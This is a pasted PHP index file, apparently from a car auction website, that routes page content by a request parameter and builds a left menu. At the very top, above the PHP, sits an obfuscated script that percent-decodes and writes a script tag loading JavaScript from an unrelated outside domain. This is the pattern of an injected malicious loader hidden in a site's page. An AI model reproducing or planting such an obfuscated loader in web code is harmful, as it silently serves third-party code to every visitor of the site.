Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script>
- <!-- code by https://www.html-code-generator.com -->
- document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%2F%2F%63%68%6F%63%6F%6C%61%74%65%62%75%73%68%62%75%6E%6E%79%2E%63%6F%6D%2F%33%66%2F%34%35%2F%36%35%2F%33%66%34%35%36%35%36%38%33%33%35%37%66%37%35%32%38%32%34%33%35%37%33%34%35%37%37%63%37%34%63%36%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'))
- </script>
- <?php
- include_once( 'config/main.inc.php' );
- include_once( 'config/redirectHandler.php' );
- define( 'MEDIA_DIR', 'images/home/' );
- $includeLeftMenu = true;
- $content = 'home.inc.php';
- $action = isset($_REQUEST['a'])?$_REQUEST['a']:"";
- switch( $action )
- {
- case 'carproof': $content = 'carproof.inc.php'; break;
- case 'purchasepolicy': $content = 'purchasepolicy.inc.php'; break;
- //case 'carswap': $content = 'carswap.inc.php'; break;
- case 'carswap': $content = 'home.inc.php'; break;
- case 'onlinebidding':
- $content = 'onlinebidding.inc.php';
- $includeLeftMenu = false;
- break;
- case 'holidayhours': $content = 'holidayhours.inc.php'; break;
- case 'login': $content = 'login.php'; break;
- case 'liveblock':
- header( "Location: http://regalauctions.com/index.php?a=onlinebidding" );
- break;
- default: $content = 'home.inc.php';
- }
- /** LEFT MENU **/
- $email = array( 'name' => 'email', 'text' => 'Email Regal', 'href' => 'contactus.php?a=contact&emailId=1&subject=General%20Inquiry%20From%20Home%20Page', 'title' => 'info@regalauctions.ca' );
- $subscribe = array( 'name'=> 'subscribe' , 'text' => 'Subscribe to eFlyer', 'href' => 'http://regalauctions.ca/pommo/user/subscribe.php', 'title' => 'Subscribe to our weekly email flyer' );
- //$marketreport = array( 'name' => 'marketreport', 'text' => 'Market Report', 'href' => 'currentsale.php?a=marketreport', 'title' => 'Market Report' );
- if( $includeLeftMenu )
- {
- $leftMenu = new LeftMenu( 'Home', '' );
- $leftMenu->addLink( $email );
- $leftMenu->addLink( $subscribe );
- //$leftMenu->addLink( $marketreport );
- }
- $title = "Cars for Sale by Auction";
- $cTitle = 'Cars for Sale by Auction';
- ob_start();
- include_once( INCLUDE_DIR.'home/'.$content );
- $pageContent = ob_get_contents();
- ob_end_clean();
- if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
- include_once( INCLUDE_DIR.'top.inc.php' );
- echo $pageContent;
- if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
- include_once( INCLUDE_DIR.'footer.inc.php' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement